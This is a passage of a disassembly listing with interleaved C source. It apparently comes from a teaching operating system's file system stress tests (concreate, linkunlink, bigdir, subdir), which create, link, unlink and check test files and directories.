173e: e8 55 26 00 00 call 3d98 <printf>
exit();
1743: e8 c0 24 00 00 call 3c08 <exit>
}
close(fd);
1748: 8b 45 e8 mov -0x18(%ebp),%eax
174b: 89 04 24 mov %eax,(%esp)
174e: e8 dd 24 00 00 call 3c30 <close>
}
if(pid == 0)
1753: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1757: 75 05 jne 175e <concreate+0xf6>
exit();
1759: e8 aa 24 00 00 call 3c08 <exit>
else
wait();
175e: e8 ad 24 00 00 call 3c10 <wait>
} de;
printf(1, "concreate test\n");
file[0] = 'C';
file[2] = '\0';
for(i = 0; i < 40; i++){
1763: ff 45 f4 incl -0xc(%ebp)
1766: 83 7d f4 27 cmpl $0x27,-0xc(%ebp)
176a: 0f 8e 26 ff ff ff jle 1696 <concreate+0x2e>
exit();
else
wait();
}
memset(fa, 0, sizeof(fa));
1770: c7 44 24 08 28 00 00 movl $0x28,0x8(%esp)
1777: 00
1778: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
177f: 00
1780: 8d 45 bd lea -0x43(%ebp),%eax
1783: 89 04 24 mov %eax,(%esp)
1786: e8 e5 22 00 00 call 3a70 <memset>
fd = open(".", 0);
178b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1792: 00
1793: c7 04 24 cf 48 00 00 movl $0x48cf,(%esp)
179a: e8 a9 24 00 00 call 3c48 <open>
179f: 89 45 e8 mov %eax,-0x18(%ebp)
n = 0;
17a2: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
while(read(fd, &de, sizeof(de)) > 0){
17a9: e9 9d 00 00 00 jmp 184b <concreate+0x1e3>
if(de.inum == 0)
17ae: 8b 45 ac mov -0x54(%ebp),%eax
17b1: 66 85 c0 test %ax,%ax
17b4: 0f 84 90 00 00 00 je 184a <concreate+0x1e2>
continue;
if(de.name[0] == 'C' && de.name[2] == '\0'){
17ba: 8a 45 ae mov -0x52(%ebp),%al
17bd: 3c 43 cmp $0x43,%al
17bf: 0f 85 86 00 00 00 jne 184b <concreate+0x1e3>
17c5: 8a 45 b0 mov -0x50(%ebp),%al
17c8: 84 c0 test %al,%al
17ca: 75 7f jne 184b <concreate+0x1e3>
i = de.name[1] - '0';
17cc: 8a 45 af mov -0x51(%ebp),%al
17cf: 0f be c0 movsbl %al,%eax
17d2: 83 e8 30 sub $0x30,%eax
17d5: 89 45 f4 mov %eax,-0xc(%ebp)
if(i < 0 || i >= sizeof(fa)){
17d8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
17dc: 78 08 js 17e6 <concreate+0x17e>
17de: 8b 45 f4 mov -0xc(%ebp),%eax
17e1: 83 f8 27 cmp $0x27,%eax
17e4: 76 23 jbe 1809 <concreate+0x1a1>
printf(1, "concreate weird file %s\n", de.name);
17e6: 8d 45 ac lea -0x54(%ebp),%eax
17e9: 83 c0 02 add $0x2,%eax
17ec: 89 44 24 08 mov %eax,0x8(%esp)
17f0: c7 44 24 04 29 49 00 movl $0x4929,0x4(%esp)
17f7: 00
17f8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
17ff: e8 94 25 00 00 call 3d98 <printf>
exit();
1804: e8 ff 23 00 00 call 3c08 <exit>
}
if(fa[i]){
1809: 8d 55 bd lea -0x43(%ebp),%edx
180c: 8b 45 f4 mov -0xc(%ebp),%eax
180f: 01 d0 add %edx,%eax
1811: 8a 00 mov (%eax),%al
1813: 84 c0 test %al,%al
1815: 74 23 je 183a <concreate+0x1d2>
printf(1, "concreate duplicate file %s\n", de.name);
1817: 8d 45 ac lea -0x54(%ebp),%eax
181a: 83 c0 02 add $0x2,%eax
181d: 89 44 24 08 mov %eax,0x8(%esp)
1821: c7 44 24 04 42 49 00 movl $0x4942,0x4(%esp)
1828: 00
1829: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1830: e8 63 25 00 00 call 3d98 <printf>
exit();
1835: e8 ce 23 00 00 call 3c08 <exit>
}
fa[i] = 1;
183a: 8d 55 bd lea -0x43(%ebp),%edx
183d: 8b 45 f4 mov -0xc(%ebp),%eax
1840: 01 d0 add %edx,%eax
1842: c6 00 01 movb $0x1,(%eax)
n++;
1845: ff 45 f0 incl -0x10(%ebp)
1848: eb 01 jmp 184b <concreate+0x1e3>
memset(fa, 0, sizeof(fa));
fd = open(".", 0);
n = 0;
while(read(fd, &de, sizeof(de)) > 0){
if(de.inum == 0)
continue;
184a: 90 nop
}
memset(fa, 0, sizeof(fa));
fd = open(".", 0);
n = 0;
while(read(fd, &de, sizeof(de)) > 0){
184b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
1852: 00
1853: 8d 45 ac lea -0x54(%ebp),%eax
1856: 89 44 24 04 mov %eax,0x4(%esp)
185a: 8b 45 e8 mov -0x18(%ebp),%eax
185d: 89 04 24 mov %eax,(%esp)
1860: e8 bb 23 00 00 call 3c20 <read>
1865: 85 c0 test %eax,%eax
1867: 0f 8f 41 ff ff ff jg 17ae <concreate+0x146>
}
fa[i] = 1;
n++;
}
}
close(fd);
186d: 8b 45 e8 mov -0x18(%ebp),%eax
1870: 89 04 24 mov %eax,(%esp)
1873: e8 b8 23 00 00 call 3c30 <close>
if(n != 40){
1878: 83 7d f0 28 cmpl $0x28,-0x10(%ebp)
187c: 74 19 je 1897 <concreate+0x22f>
printf(1, "concreate not enough files in directory listing\n");
187e: c7 44 24 04 60 49 00 movl $0x4960,0x4(%esp)
1885: 00
1886: c7 04 24 01 00 00 00 movl $0x1,(%esp)
188d: e8 06 25 00 00 call 3d98 <printf>
exit();
1892: e8 71 23 00 00 call 3c08 <exit>
}
for(i = 0; i < 40; i++){
1897: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
189e: e9 0c 01 00 00 jmp 19af <concreate+0x347>
file[1] = '0' + i;
18a3: 8b 45 f4 mov -0xc(%ebp),%eax
18a6: 83 c0 30 add $0x30,%eax
18a9: 88 45 e6 mov %al,-0x1a(%ebp)
pid = fork();
18ac: e8 4f 23 00 00 call 3c00 <fork>
18b1: 89 45 ec mov %eax,-0x14(%ebp)
if(pid < 0){
18b4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
18b8: 79 19 jns 18d3 <concreate+0x26b>
printf(1, "fork failed\n");
18ba: c7 44 24 04 4d 45 00 movl $0x454d,0x4(%esp)
18c1: 00
18c2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18c9: e8 ca 24 00 00 call 3d98 <printf>
exit();
18ce: e8 35 23 00 00 call 3c08 <exit>
}
if(((i % 3) == 0 && pid == 0) ||
18d3: 8b 45 f4 mov -0xc(%ebp),%eax
18d6: b9 03 00 00 00 mov $0x3,%ecx
18db: 99 cltd
18dc: f7 f9 idiv %ecx
18de: 89 d0 mov %edx,%eax
18e0: 85 c0 test %eax,%eax
18e2: 75 06 jne 18ea <concreate+0x282>
18e4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
18e8: 74 18 je 1902 <concreate+0x29a>
((i % 3) == 1 && pid != 0)){
18ea: 8b 45 f4 mov -0xc(%ebp),%eax
18ed: b9 03 00 00 00 mov $0x3,%ecx
18f2: 99 cltd
18f3: f7 f9 idiv %ecx
18f5: 89 d0 mov %edx,%eax
pid = fork();
if(pid < 0){
printf(1, "fork failed\n");
exit();
}
if(((i % 3) == 0 && pid == 0) ||
18f7: 83 f8 01 cmp $0x1,%eax
18fa: 75 74 jne 1970 <concreate+0x308>
((i % 3) == 1 && pid != 0)){
18fc: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1900: 74 6e je 1970 <concreate+0x308>
close(open(file, 0));
1902: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1909: 00
190a: 8d 45 e5 lea -0x1b(%ebp),%eax
190d: 89 04 24 mov %eax,(%esp)
1910: e8 33 23 00 00 call 3c48 <open>
1915: 89 04 24 mov %eax,(%esp)
1918: e8 13 23 00 00 call 3c30 <close>
close(open(file, 0));
191d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1924: 00
1925: 8d 45 e5 lea -0x1b(%ebp),%eax
1928: 89 04 24 mov %eax,(%esp)
192b: e8 18 23 00 00 call 3c48 <open>
1930: 89 04 24 mov %eax,(%esp)
1933: e8 f8 22 00 00 call 3c30 <close>
close(open(file, 0));
1938: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
193f: 00
1940: 8d 45 e5 lea -0x1b(%ebp),%eax
1943: 89 04 24 mov %eax,(%esp)
1946: e8 fd 22 00 00 call 3c48 <open>
194b: 89 04 24 mov %eax,(%esp)
194e: e8 dd 22 00 00 call 3c30 <close>
close(open(file, 0));
1953: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
195a: 00
195b: 8d 45 e5 lea -0x1b(%ebp),%eax
195e: 89 04 24 mov %eax,(%esp)
1961: e8 e2 22 00 00 call 3c48 <open>
1966: 89 04 24 mov %eax,(%esp)
1969: e8 c2 22 00 00 call 3c30 <close>
196e: eb 2c jmp 199c <concreate+0x334>
} else {
unlink(file);
1970: 8d 45 e5 lea -0x1b(%ebp),%eax
1973: 89 04 24 mov %eax,(%esp)
1976: e8 dd 22 00 00 call 3c58 <unlink>
unlink(file);
197b: 8d 45 e5 lea -0x1b(%ebp),%eax
197e: 89 04 24 mov %eax,(%esp)
1981: e8 d2 22 00 00 call 3c58 <unlink>
unlink(file);
1986: 8d 45 e5 lea -0x1b(%ebp),%eax
1989: 89 04 24 mov %eax,(%esp)
198c: e8 c7 22 00 00 call 3c58 <unlink>
unlink(file);
1991: 8d 45 e5 lea -0x1b(%ebp),%eax
1994: 89 04 24 mov %eax,(%esp)
1997: e8 bc 22 00 00 call 3c58 <unlink>
}
if(pid == 0)
199c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
19a0: 75 05 jne 19a7 <concreate+0x33f>
exit();
19a2: e8 61 22 00 00 call 3c08 <exit>
else
wait();
19a7: e8 64 22 00 00 call 3c10 <wait>
if(n != 40){
printf(1, "concreate not enough files in directory listing\n");
exit();
}
for(i = 0; i < 40; i++){
19ac: ff 45 f4 incl -0xc(%ebp)
19af: 83 7d f4 27 cmpl $0x27,-0xc(%ebp)
19b3: 0f 8e ea fe ff ff jle 18a3 <concreate+0x23b>
exit();
else
wait();
}
printf(1, "concreate ok\n");
19b9: c7 44 24 04 91 49 00 movl $0x4991,0x4(%esp)
19c0: 00
19c1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
19c8: e8 cb 23 00 00 call 3d98 <printf>
}
19cd: c9 leave
19ce: c3 ret
000019cf <linkunlink>:
// another concurrent link/unlink/create test,
// to look for deadlocks.
void
linkunlink()
{
19cf: 55 push %ebp
19d0: 89 e5 mov %esp,%ebp
19d2: 83 ec 28 sub $0x28,%esp
int pid, i;
printf(1, "linkunlink test\n");
19d5: c7 44 24 04 9f 49 00 movl $0x499f,0x4(%esp)
19dc: 00
19dd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
19e4: e8 af 23 00 00 call 3d98 <printf>
unlink("x");
19e9: c7 04 24 06 45 00 00 movl $0x4506,(%esp)
19f0: e8 63 22 00 00 call 3c58 <unlink>
pid = fork();
19f5: e8 06 22 00 00 call 3c00 <fork>
19fa: 89 45 ec mov %eax,-0x14(%ebp)
if(pid < 0){
19fd: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1a01: 79 19 jns 1a1c <linkunlink+0x4d>
printf(1, "fork failed\n");
1a03: c7 44 24 04 4d 45 00 movl $0x454d,0x4(%esp)
1a0a: 00
1a0b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1a12: e8 81 23 00 00 call 3d98 <printf>
exit();
1a17: e8 ec 21 00 00 call 3c08 <exit>
}
unsigned int x = (pid ? 1 : 97);
1a1c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1a20: 74 07 je 1a29 <linkunlink+0x5a>
1a22: b8 01 00 00 00 mov $0x1,%eax
1a27: eb 05 jmp 1a2e <linkunlink+0x5f>
1a29: b8 61 00 00 00 mov $0x61,%eax
1a2e: 89 45 f0 mov %eax,-0x10(%ebp)
for(i = 0; i < 100; i++){
1a31: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1a38: e9 a5 00 00 00 jmp 1ae2 <linkunlink+0x113>
x = x * 1103515245 + 12345;
1a3d: 8b 4d f0 mov -0x10(%ebp),%ecx
1a40: 89 ca mov %ecx,%edx
1a42: 89 d0 mov %edx,%eax
1a44: c1 e0 09 shl $0x9,%eax
1a47: 89 c2 mov %eax,%edx
1a49: 29 ca sub %ecx,%edx
1a4b: c1 e2 02 shl $0x2,%edx
1a4e: 01 ca add %ecx,%edx
1a50: 89 d0 mov %edx,%eax
1a52: c1 e0 09 shl $0x9,%eax
1a55: 29 d0 sub %edx,%eax
1a57: d1 e0 shl %eax
1a59: 01 c8 add %ecx,%eax
1a5b: 89 c2 mov %eax,%edx
1a5d: c1 e2 05 shl $0x5,%edx
1a60: 01 d0 add %edx,%eax
1a62: c1 e0 02 shl $0x2,%eax
1a65: 29 c8 sub %ecx,%eax
1a67: c1 e0 02 shl $0x2,%eax
1a6a: 01 c8 add %ecx,%eax
1a6c: 05 39 30 00 00 add $0x3039,%eax
1a71: 89 45 f0 mov %eax,-0x10(%ebp)
if((x % 3) == 0){
1a74: 8b 45 f0 mov -0x10(%ebp),%eax
1a77: b9 03 00 00 00 mov $0x3,%ecx
1a7c: ba 00 00 00 00 mov $0x0,%edx
1a81: f7 f1 div %ecx
1a83: 89 d0 mov %edx,%eax
1a85: 85 c0 test %eax,%eax
1a87: 75 1e jne 1aa7 <linkunlink+0xd8>
close(open("x", O_RDWR | O_CREATE));
1a89: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1a90: 00
1a91: c7 04 24 06 45 00 00 movl $0x4506,(%esp)
1a98: e8 ab 21 00 00 call 3c48 <open>
1a9d: 89 04 24 mov %eax,(%esp)
1aa0: e8 8b 21 00 00 call 3c30 <close>
1aa5: eb 38 jmp 1adf <linkunlink+0x110>
} else if((x % 3) == 1){
1aa7: 8b 45 f0 mov -0x10(%ebp),%eax
1aaa: b9 03 00 00 00 mov $0x3,%ecx
1aaf: ba 00 00 00 00 mov $0x0,%edx
1ab4: f7 f1 div %ecx
1ab6: 89 d0 mov %edx,%eax
1ab8: 83 f8 01 cmp $0x1,%eax
1abb: 75 16 jne 1ad3 <linkunlink+0x104>
link("cat", "x");
1abd: c7 44 24 04 06 45 00 movl $0x4506,0x4(%esp)
1ac4: 00
1ac5: c7 04 24 b0 49 00 00 movl $0x49b0,(%esp)
1acc: e8 97 21 00 00 call 3c68 <link>
1ad1: eb 0c jmp 1adf <linkunlink+0x110>
} else {
unlink("x");
1ad3: c7 04 24 06 45 00 00 movl $0x4506,(%esp)
1ada: e8 79 21 00 00 call 3c58 <unlink>
printf(1, "fork failed\n");
exit();
}
unsigned int x = (pid ? 1 : 97);
for(i = 0; i < 100; i++){
1adf: ff 45 f4 incl -0xc(%ebp)
1ae2: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
1ae6: 0f 8e 51 ff ff ff jle 1a3d <linkunlink+0x6e>
} else {
unlink("x");
}
}
if(pid)
1aec: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1af0: 74 1b je 1b0d <linkunlink+0x13e>
wait();
1af2: e8 19 21 00 00 call 3c10 <wait>
else
exit();
printf(1, "linkunlink ok\n");
1af7: c7 44 24 04 b4 49 00 movl $0x49b4,0x4(%esp)
1afe: 00
1aff: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b06: e8 8d 22 00 00 call 3d98 <printf>
1b0b: eb 05 jmp 1b12 <linkunlink+0x143>
}
if(pid)
wait();
else
exit();
1b0d: e8 f6 20 00 00 call 3c08 <exit>
printf(1, "linkunlink ok\n");
}
1b12: c9 leave
1b13: c3 ret
00001b14 <bigdir>:
// directory that uses indirect blocks
void
bigdir(void)
{
1b14: 55 push %ebp
1b15: 89 e5 mov %esp,%ebp
1b17: 83 ec 38 sub $0x38,%esp
int i, fd;
char name[10];
printf(1, "bigdir test\n");
1b1a: c7 44 24 04 c3 49 00 movl $0x49c3,0x4(%esp)
1b21: 00
1b22: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b29: e8 6a 22 00 00 call 3d98 <printf>
unlink("bd");
1b2e: c7 04 24 d0 49 00 00 movl $0x49d0,(%esp)
1b35: e8 1e 21 00 00 call 3c58 <unlink>
fd = open("bd", O_CREATE);
1b3a: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
1b41: 00
1b42: c7 04 24 d0 49 00 00 movl $0x49d0,(%esp)
1b49: e8 fa 20 00 00 call 3c48 <open>
1b4e: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd < 0){
1b51: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1b55: 79 19 jns 1b70 <bigdir+0x5c>
printf(1, "bigdir create failed\n");
1b57: c7 44 24 04 d3 49 00 movl $0x49d3,0x4(%esp)
1b5e: 00
1b5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b66: e8 2d 22 00 00 call 3d98 <printf>
exit();
1b6b: e8 98 20 00 00 call 3c08 <exit>
}
close(fd);
1b70: 8b 45 f0 mov -0x10(%ebp),%eax
1b73: 89 04 24 mov %eax,(%esp)
1b76: e8 b5 20 00 00 call 3c30 <close>
for(i = 0; i < 500; i++){
1b7b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1b82: eb 65 jmp 1be9 <bigdir+0xd5>
name[0] = 'x';
1b84: c6 45 e6 78 movb $0x78,-0x1a(%ebp)
name[1] = '0' + (i / 64);
1b88: 8b 45 f4 mov -0xc(%ebp),%eax
1b8b: 85 c0 test %eax,%eax
1b8d: 79 03 jns 1b92 <bigdir+0x7e>
1b8f: 83 c0 3f add $0x3f,%eax
1b92: c1 f8 06 sar $0x6,%eax
1b95: 83 c0 30 add $0x30,%eax
1b98: 88 45 e7 mov %al,-0x19(%ebp)
name[2] = '0' + (i % 64);
1b9b: 8b 45 f4 mov -0xc(%ebp),%eax
1b9e: 25 3f 00 00 80 and $0x8000003f,%eax
1ba3: 85 c0 test %eax,%eax
1ba5: 79 05 jns 1bac <bigdir+0x98>
1ba7: 48 dec %eax
1ba8: 83 c8 c0 or $0xffffffc0,%eax
1bab: 40 inc %eax
1bac: 83 c0 30 add $0x30,%eax
1baf: 88 45 e8 mov %al,-0x18(%ebp)
name[3] = '\0';
1bb2: c6 45 e9 00 movb $0x0,-0x17(%ebp)
if(link("bd", name) != 0){
1bb6: 8d 45 e6 lea -0x1a(%ebp),%eax
1bb9: 89 44 24 04 mov %eax,0x4(%esp)
1bbd: c7 04 24 d0 49 00 00 movl $0x49d0,(%esp)
1bc4: e8 9f 20 00 00 call 3c68 <link>
1bc9: 85 c0 test %eax,%eax
1bcb: 74 19 je 1be6 <bigdir+0xd2>
printf(1, "bigdir link failed\n");
1bcd: c7 44 24 04 e9 49 00 movl $0x49e9,0x4(%esp)
1bd4: 00
1bd5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1bdc: e8 b7 21 00 00 call 3d98 <printf>
exit();
1be1: e8 22 20 00 00 call 3c08 <exit>
printf(1, "bigdir create failed\n");
exit();
}
close(fd);
for(i = 0; i < 500; i++){
1be6: ff 45 f4 incl -0xc(%ebp)
1be9: 81 7d f4 f3 01 00 00 cmpl $0x1f3,-0xc(%ebp)
1bf0: 7e 92 jle 1b84 <bigdir+0x70>
printf(1, "bigdir link failed\n");
exit();
}
}
unlink("bd");
1bf2: c7 04 24 d0 49 00 00 movl $0x49d0,(%esp)
1bf9: e8 5a 20 00 00 call 3c58 <unlink>
for(i = 0; i < 500; i++){
1bfe: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1c05: eb 5d jmp 1c64 <bigdir+0x150>
name[0] = 'x';
1c07: c6 45 e6 78 movb $0x78,-0x1a(%ebp)
name[1] = '0' + (i / 64);
1c0b: 8b 45 f4 mov -0xc(%ebp),%eax
1c0e: 85 c0 test %eax,%eax
1c10: 79 03 jns 1c15 <bigdir+0x101>
1c12: 83 c0 3f add $0x3f,%eax
1c15: c1 f8 06 sar $0x6,%eax
1c18: 83 c0 30 add $0x30,%eax
1c1b: 88 45 e7 mov %al,-0x19(%ebp)
name[2] = '0' + (i % 64);
1c1e: 8b 45 f4 mov -0xc(%ebp),%eax
1c21: 25 3f 00 00 80 and $0x8000003f,%eax
1c26: 85 c0 test %eax,%eax
1c28: 79 05 jns 1c2f <bigdir+0x11b>
1c2a: 48 dec %eax
1c2b: 83 c8 c0 or $0xffffffc0,%eax
1c2e: 40 inc %eax
1c2f: 83 c0 30 add $0x30,%eax
1c32: 88 45 e8 mov %al,-0x18(%ebp)
name[3] = '\0';
1c35: c6 45 e9 00 movb $0x0,-0x17(%ebp)
if(unlink(name) != 0){
1c39: 8d 45 e6 lea -0x1a(%ebp),%eax
1c3c: 89 04 24 mov %eax,(%esp)
1c3f: e8 14 20 00 00 call 3c58 <unlink>
1c44: 85 c0 test %eax,%eax
1c46: 74 19 je 1c61 <bigdir+0x14d>
printf(1, "bigdir unlink failed");
1c48: c7 44 24 04 fd 49 00 movl $0x49fd,0x4(%esp)
1c4f: 00
1c50: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c57: e8 3c 21 00 00 call 3d98 <printf>
exit();
1c5c: e8 a7 1f 00 00 call 3c08 <exit>
exit();
}
}
unlink("bd");
for(i = 0; i < 500; i++){
1c61: ff 45 f4 incl -0xc(%ebp)
1c64: 81 7d f4 f3 01 00 00 cmpl $0x1f3,-0xc(%ebp)
1c6b: 7e 9a jle 1c07 <bigdir+0xf3>
printf(1, "bigdir unlink failed");
exit();
}
}
printf(1, "bigdir ok\n");
1c6d: c7 44 24 04 12 4a 00 movl $0x4a12,0x4(%esp)
1c74: 00
1c75: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c7c: e8 17 21 00 00 call 3d98 <printf>
}
1c81: c9 leave
1c82: c3 ret
00001c83 <subdir>:
void
subdir(void)
{
1c83: 55 push %ebp
1c84: 89 e5 mov %esp,%ebp
1c86: 83 ec 28 sub $0x28,%esp
int fd, cc;
printf(1, "subdir test\n");
1c89: c7 44 24 04 1d 4a 00 movl $0x4a1d,0x4(%esp)
1c90: 00
1c91: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c98: e8 fb 20 00 00 call 3d98 <printf>
unlink("ff");
1c9d: c7 04 24 2a 4a 00 00 movl $0x4a2a,(%esp)
1ca4: e8 af 1f 00 00 call 3c58 <unlink>
if(mkdir("dd") != 0){
1ca9: c7 04 24 2d 4a 00 00 movl $0x4a2d,(%esp)
1cb0: e8 bb 1f 00 00 call 3c70 <mkdir>
1cb5: 85 c0 test %eax,%eax
1cb7: 74 19 je 1cd2 <subdir+0x4f>
printf(1, "subdir mkdir dd failed\n");
1cb9: c7 44 24 04 30 4a 00 movl $0x4a30,0x4(%esp)
1cc0: 00
1cc1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1cc8: e8 cb 20 00 00 call 3d98 <printf>
exit();
1ccd: e8 36 1f 00 00 call 3c08 <exit>
}
fd = open("dd/ff", O_CREATE | O_RDWR);
1cd2: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1cd9: 00
1cda: c7 04 24 48 4a 00 00 movl $0x4a48,(%esp)
1ce1: e8 62 1f 00 00 call 3c48 <open>
1ce6: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1ce9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1ced: 79 19 jns 1d08 <subdir+0x85>
printf(1, "create dd/ff failed\n");
1cef: c7 44 24 04 4e 4a 00 movl $0x4a4e,0x4(%esp)
1cf6: 00
1cf7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1cfe: e8 95 20 00 00 call 3d98 <printf>
exit();
1d03: e8 00 1f 00 00 call 3c08 <exit>
}
write(fd, "ff", 2);
1d08: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp)
1d0f: 00
1d10: c7 44 24 04 2a 4a 00 movl $0x4a2a,0x4(%esp)
1d17: 00
1d18: 8b 45 f4 mov -0xc(%ebp),%eax
1d1b: 89 04 24 mov %eax,(%esp)
1d1e: e8 05 1f 00 00 call 3c28 <write>
close(fd);
1d23: 8b 45 f4 mov -0xc(%ebp),%eax
1d26: 89 04 24 mov %eax,(%esp)
1d29: e8 02 1f 00 00 call 3c30 <close>
if(unlink("dd") >= 0){
1d2e: c7 04 24 2d 4a 00 00 movl $0x4a2d,(%esp)
1d35: e8 1e 1f 00 00 call 3c58 <unlink>
1d3a: 85 c0 test %eax,%eax
1d3c: 78 19 js 1d57 <subdir+0xd4>
printf(1, "unlink dd (non-empty dir) succeeded!\n");
1d3e: c7 44 24 04 64 4a 00 movl $0x4a64,0x4(%esp)
1d45: 00
1d46: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d4d: e8 46 20 00 00 call 3d98 <printf>
exit();
1d52: e8 b1 1e 00 00 call 3c08 <exit>
}
if(mkdir("/dd/dd") != 0){
1d57: c7 04 24 8a 4a 00 00 movl $0x4a8a,(%esp)
1d5e: e8 0d 1f 00 00 call 3c70 <mkdir>
1d63: 85 c0 test %eax,%eax
1d65: 74 19 je 1d80 <subdir+0xfd>
printf(1, "subdir mkdir dd/dd failed\n");
1d67: c7 44 24 04 91 4a 00 movl $0x4a91,0x4(%esp)
1d6e: 00
1d6f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d76: e8 1d 20 00 00 call 3d98 <printf>
exit();
1d7b: e8 88 1e 00 00 call 3c08 <exit>
}
fd = open("dd/dd/ff", O_CREATE | O_RDWR);
1d80: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1d87: 00
1d88: c7 04 24 ac 4a 00 00 movl $0x4aac,(%esp)
1d8f: e8 b4 1e 00 00 call 3c48 <open>
1d94: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1d97: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1d9b: 79 19 jns 1db6 <subdir+0x133>
printf(1, "create dd/dd/ff failed\n");
1d9d: c7 44 24 04 b5 4a 00 movl $0x4ab5,0x4(%esp)
1da4: 00
1da5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1dac: e8 e7 1f 00 00 call 3d98 <printf>
exit();
1db1: e8 52 1e 00 00 call 3c08 <exit>
}
write(fd, "FF", 2);
1db6: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp)
1dbd: 00
1dbe: c7 44 24 04 cd 4a 00 movl $0x4acd,0x4(%esp)
1dc5: 00
1dc6: 8b 45 f4 mov -0xc(%ebp),%eax
1dc9: 89 04 24 mov %eax,(%esp)
1dcc: e8 57 1e 00 00 call 3c28 <write>
close(fd);
1dd1: 8b 45 f4 mov -0xc(%ebp),%eax
1dd4: 89 04 24 mov %eax,(%esp)
1dd7: e8 54 1e 00 00 call 3c30 <close>
fd = open("dd/dd/../ff", 0);
1ddc: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1de3: 00
1de4: c7 04 24 d0 4a 00 00 movl $0x4ad0,(%esp)
1deb: e8 58 1e 00 00 call 3c48 <open>
1df0: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1df3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1df7: 79 19 jns 1e12 <subdir+0x18f>
printf(1, "open dd/dd/../ff failed\n");
1df9: c7 44 24 04 dc 4a 00 movl $0x4adc,0x4(%esp)
1e00: 00
1e01: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1e08: e8 8b 1f 00 00 call 3d98 <printf>
exit();
1e0d: e8 f6 1d 00 00 call 3c08 <exit>
}
cc = read(fd, buf, sizeof(buf));
1e12: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
1e19: 00
1e1a: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
1e21: 00
1e22: 8b 45 f4 mov -0xc(%ebp),%eax
1e25: 89 04 24 mov %eax,(%esp)
1e28: e8 f3 1d 00 00 call 3c20 <read>
1e2d: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc != 2 || buf[0] != 'f'){
1e30: 83 7d f0 02 cmpl $0x2,-0x10(%ebp)
1e34: 75 09 jne 1e3f <subdir+0x1bc>
1e36: a0 a0 86 00 00 mov 0x86a0,%al
1e3b: 3c 66 cmp $0x66,%al
1e3d: 74 19 je 1e58 <subdir+0x1d5>
printf(1, "dd/dd/../ff wrong content\n");
1e3f: c7 44 24 04 f5 4a 00 movl $0x4af5,0x4(%esp)
1e46: 00
1e47: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1e4e: e8 45 1f 00 00 call 3d98 <printf>
exit();
1e53: e8 b0 1d 00 00 call 3c08 <exit>
}
close(fd);
1e58: 8b 45 f4 mov -0xc(%ebp),%eax
1e5b: 89 04 24 mov %eax,(%esp)
1e5e: e8 cd 1d 00 00 call 3c30 <close>
if(link("dd/dd/ff", "dd/dd/ffff") != 0){
1e63: c7 44 24 04 10 4b 00 movl $0x4b10,0x4(%esp)
1e6a: 00
1e6b: c7 04 24 ac 4a 00 00 movl $0x4aac,(%esp)
1e72: e8 f1 1d 00 00 call 3c68 <link>
1e77: 85 c0 test %eax,%eax
1e79: 74 19 je 1e94 <subdir+0x211>
printf(1, "link dd/dd/ff dd/dd/ffff failed\n");
1e7b: c7 44 24 04 1c 4b 00 movl $0x4b1c,0x4(%esp)
1e82: 00
1e83: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1e8a: e8 09 1f 00 00 call 3d98 <printf>
exit();
1e8f: e8 74 1d 00 00 call 3c08 <exit>
}
if(unlink("dd/dd/ff") != 0){
